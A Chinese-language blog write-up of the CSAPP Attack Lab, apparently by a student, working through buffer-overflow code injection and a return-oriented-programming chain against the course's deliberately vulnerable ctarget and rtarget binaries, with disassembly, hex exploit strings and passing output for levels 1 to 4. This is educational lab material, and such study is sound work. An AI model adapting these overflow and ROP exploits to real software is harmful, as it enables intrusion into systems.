[CSAPP]Attack Lab实验笔记

这节玩的是利用一个字符串进行缓冲区溢出漏洞攻击,就小时候想象中黑客干的事儿.
做题的时候好几次感叹这些人的脑洞,"这都可以攻击?还能这么注入?这还可能借力打力?"等自己注入的时候却是"啊?怎么又段错误了?怎么又算错地址了?"也是一次有趣的经历了.

小插曲:我拿到文件的时候直接去读得readme,看完了还迷惑这readme咋就这么点信息.后来知道了实验都要配合着writeup讲义看,不禁感叹我前两个实验没看讲义还能做出来真是个奇迹!

level1

第一步先反汇编拿到ctarget的代码

0000000000401968 <test>:
  401968:	48 83 ec 08          	sub    $0x8,%rsp
  40196c:	b8 00 00 00 00       	mov    $0x0,%eax
  401971:	e8 32 fe ff ff       	callq  4017a8 <getbuf>
  401976:	89 c2                	mov    %eax,%edx
  401978:	be 88 31 40 00       	mov    $0x403188,%esi
  40197d:	bf 01 00 00 00       	mov    $0x1,%edi
  401982:	b8 00 00 00 00       	mov    $0x0,%eax
  401987:	e8 64 f4 ff ff       	callq  400df0 <__printf_chk@plt>
  40198c:	48 83 c4 08          	add    $0x8,%rsp
  401990:	c3                   	retq   
  401991:	90                   	nop

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop

00000000004017c0 <touch1>:
  4017c0:	48 83 ec 08          	sub    $0x8,%rsp
  4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:	00 00 00 
  4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi
  4017d3:	e8 e8 f4 ff ff       	callq  400cc0 <puts@plt>
  4017d8:	bf 01 00 00 00       	mov    $0x1,%edi
  4017dd:	e8 ab 04 00 00       	callq  401c8d <validate>
  4017e2:	bf 00 00 00 00       	mov    $0x0,%edi
  4017e7:	e8 54 f6 ff ff       	callq  400e40 <exit@plt>

0x4017b9打个断点,这时候创建了内容为This is a test str.的文本文件in.txt,在gdb里用set args -qi in.txt指定为输入源.让程序运行到断点,查看栈帧信息

(gdb) x/60xb 0x5561dc78
0x5561dc78:     0x54    0x68    0x69    0x73    0x20    0x69    0x73    0x20
0x5561dc80:     0x61    0x20    0x74    0x65    0x73    0x74    0x20    0x73
0x5561dc88:     0x74    0x72    0x2e    0x00    0x00    0x00    0x00    0x00
0x5561dc90:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x5561dc98:     0x00    0x60    0x58    0x55    0x00    0x00    0x00    0x00
0x5561dca0:     0x76    0x19    0x40    0x00    0x00    0x00    0x00    0x00
0x5561dca8:     0x09    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x5561dcb0:     0x24    0x1f    0x40    0x00
(gdb) x/s 0x5561dc78
0x5561dc78:     "This is a test str."

这里面的0x76 0x19 0x40对应的就是返回地址,我们的目标就是把它修改为touch1入口的地址0x004017c0.换成机器码就是0xc0 0x17 0x40 0x00,注意是倒序哦.
从栈顶到要修改区域之间我用0x54(ASCII中的‘T‘)填充之.我创建了一个exploit.txt,内容为

54 54 54 54 54 54 54 54
54 54 54 54 54 54 54 54
54 54 54 54 54 54 54 54
54 54 54 54 54 54 54 54
54 54 54 54 54 54 54 54
c0 17 40 00 00 00 00

不要拘泥于后面那几个零.讲义里说了,多覆写几个字节不碍事
把这个文件交给hex2raw处理之

./hex2raw < exploit.txt > raw.txt

我用VSCode的hexdump插件检查了下正确性,然后把它丢进了ctarget里,测试之,正确.

./ctarget -qi raw.txt
Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:1:54 54 ..... 54 C0 17 40 00 00 00 00 

level 2

先来分析touch2的代码

void touch2(unsigned val)
{
	vlevel = 2;       /*Part of validation protocol*/
	if (val == cookie) {
		printf("Touch2!: You called touch2(0x%.8x)\n", val);
		validate(2);
	} 
	else {
		printf("Misfire: You called touch2(0x%.8x)\n", val);
		fail(2);
	}
	exit(0);
}

很明显需要把cookie作为参数调用touch2,即先把cookie放入rdi,再ret.这里可把我卡住了,ret只能改rip,怎么改rdi呢?
热心网友的一句话点醒了我:先在栈帧里写好代码,再ret到栈帧的位置
我们要做的事情可以概括为

执行retq到栈帧顶
执行以下汇编代码:
mov cookie,%rdi
pushq touch2
retq

具体操作:
先在ex.s里写好汇编代码

movq $0x59b997fa,%rdi
pushq $0x4017ec
retq

先编译,再反汇编得到机器码

gcc -c ex.s
objdump -d ex.o > ex_dump.txt

ex_dump.txt:

ex.o:     文件格式 elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	pushq  $0x4017ec
   c:	c3

gdb调试得读入字符串时栈顶地址为0x5561dc78,根据这个地址和ex_dump.txt编写exploit.txt

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

生成raw文件,测试,通过

./hex2raw < exploit.txt > raw.txt
./ctarget -qi raw.txt
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68
 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 

level 3

先来看讲义里的代码

/*Compare string to hex represention of unsigned value*/
int hexmatch(unsigned val, char*sval)
{
	char cbuf[110];
	/*Make position of check string unpredictable*/
	char*s = cbuf + random() % 100;
	sprintf(s, "%.8x", val);
	return strncmp(sval, s, 9) == 0;
}
void touch3(char*sval)
{
	vlevel = 3;       
	/*Part of validation protocol*/
	if (hexmatch(cookie, sval)) {
		printf("Touch3!: You called touch3(\"%s\")\n", sval);
		validate(3);
	} 
	else {
		printf("Misfire: You called touch3(\"%s\")\n", sval);
		fail(3);
	}
	exit(0);
}

这一次我们要传入的参数是cookie对应的十六进制字符串,有趣的一点是为了防止我们直接获取s值当作参数,它加了一个random()运算.
有了第二关的经验,这关就很简单了,先仿照hexmatch求出cookie对应的十六进制字符串35 39 62 39 39 37 66 61 0,然后把它塞到栈里,再把这个地址塞进rdi里.这里我把它塞到了0x5561dca8

ex.s:
movq $0x5561dca8,%rdi
pushq $0x4018fa
retq

exploit.txt:
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00

注意最终生成的raw文件里要避免中途出现0X0A.
再来说我为什么要取0x5561dca8,因为按我的汇编代码执行到touch3的时候栈顶会变成0x5561dca8,如果在小于此地址的地方写数据在执行touch3的时候会被新压入栈的数据覆写掉

Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 
FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 
62 39 39 37 66 61 00 

level 4

初见fram.c的长度,我--傻--了.但冷静下来寻思,这个问题还是不难的.我们的目标可以概括为

movq $cookie,%rdi
ret touch2

而我们能用的语句只有pop,mov,nop这几种.所以要么直接把cookie传入rdi,要么借助pop间接传入rdi,即

popq %reg1
movq %reg1,%reg2
movq %reg2,%reg3
......
movq %regN,%rdi
ret touchw

借助讲义里的表格一番搜寻后发现能用的只有以下几个指令
这里只统计了movq,没统计普通mov

movq %rax,%rdi
movq %rsp,%rax
popq %rax

答案就出来了

popq rax => movq rax,rdi

剩下的就是手工算偏移,转换成十六进制了

exploit.txt:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
00

需要注意的一点是带q的操作数都是8字节的

Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97
 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00
 00 00 

level 5

这一关就是体力活了,如讲义里所讲,这关并没有出现啥新机制,只是复杂版的level 4,不做也行.
随机栈虽然厉害,但只要通过ROP拿到了%rsp,照样是能被破解的.而上一关我们就提到了movq %rsp,%rax,在加上还有个lea (%rdi,%rsi,1),%rax,以及三十多个mov,所以解题思路就很明显了.
可这mov是三十多个啊!要一个个先转换出来再寻找通路,真就码农呗!我也就懒得做了.

[CSAPP]Attack Lab实验笔记

上一篇:亚信安全中标南方电网网络架构优化调整项目 智能联动抑制未知威胁


下一篇:DeltaLake在工业大脑的实践分享